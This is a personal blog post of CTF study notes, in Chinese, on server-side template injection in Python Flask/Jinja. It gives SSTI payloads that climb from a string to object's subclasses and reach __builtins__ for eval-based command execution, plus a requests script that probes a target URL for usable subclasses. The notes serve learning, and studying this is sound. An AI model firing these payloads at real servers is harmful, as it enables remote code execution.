menu FzWjScJの菜鸡记录
WEB_ssti_个人学习笔记(一)
560 浏览 | 2021-04-13 | 阅读时间: 约 1 分钟 | 分类: CTF,文章 | 标签: CTF,web,ssti
请注意,本文编写于 69 天前,最后修改于 67 天前,其中某些信息可能已经过时。

Python_ssti学习(一)

呜呜呜,俺是菜鸡,现在才开始学ssti


判断

{{7*7}}

函数解析

__class__ #返回调用的参数类型
__bases__ #返回类型列表
__mro__ #此属性是在方法解析期间寻找基类时考虑的类元组
__subclasses__() #返回object的子类
__globals__ #函数会以字典类型返回当前位置的全部全局变量 与 func_globals 等价

获取基本类

使用''.__class__.__mro__{}.__class__.__base__([].__class__.__base__().__class__.__base__)以及request.__class__.__mro__,得到所有类

''.__class__.__mro__ #(<class 'str'>, <class 'object'>)
{}.__class__.__base__ #<class 'object'>
request.__class__.__mro__ #(<class 'flask.wrappers.Request'>, <class 'werkzeug.wrappers.request.Request'>, <class 'werkzeug.wrappers.base_request.BaseRequest'>, <class 'werkzeug.wrappers.accept.AcceptMixin'>, <class 'werkzeug.wrappers.etag.ETagRequestMixin'>, <class 'werkzeug.wrappers.user_agent.UserAgentMixin'>, <class 'werkzeug.wrappers.auth.AuthorizationMixin'>, <class 'werkzeug.wrappers.common_descriptors.CommonRequestDescriptorsMixin'>, <class 'flask.wrappers.JSONMixin'>, <class 'object'>)

然后取基本类(object),也就是''.__class__.__mro__[1]{}.__class__.__base__[0]request.__class__.__mro__[9]

之后再获取基本类的子类,也就是''.__class__.__mro__[1].__subclasses__(){}.__class__.__base__[0].__subclasses__()request.__class__.__mro__[9].__subclasses__()

寻找没有重载的函数

对上面的子类分别.__subclasses__()查看其子类,并查看各个的__init__类,并寻找是否带warpper,带wrapper说明没有重载,需要寻找不带warpper的。找到后查看其引用__builtins__,这个函数可以查看子类里面的所有内置函数,然后就可以调用危险的函数诸如eval或file等等函数来对服务器进行任务执行。这里手码了一个简单的脚本,可以稍微修改来寻找可用的子类:

import requests
from html.parser import HTMLParser
from tqdm import tqdm

url = 'url'
payload1 = '{{{}.__class__.__bases__[0].__subclasses__()}}'
re1 = requests.get(url+payload1)
l = HTMLParser().unescape(re1.text).split('>, <')
lenth = len(l)
res = {}
for i in tqdm(range(lenth)):
    payload2 = '{{{}.__class__.__bases__[0].__subclasses__()['+str(i)+'].__init__}}'
    re2 = HTMLParser().unescape(requests.get(url+payload2).text)
    # print(re2)
    if 'wrapper' not in re2:
        res.update({re2:i})
print(res)
        

呜呜呜如有错误,请大佬们提一下,此仅为个人笔记。

发表评论

email
web

全部评论 (暂无评论)

info 还没有任何评论,你来说两句呐!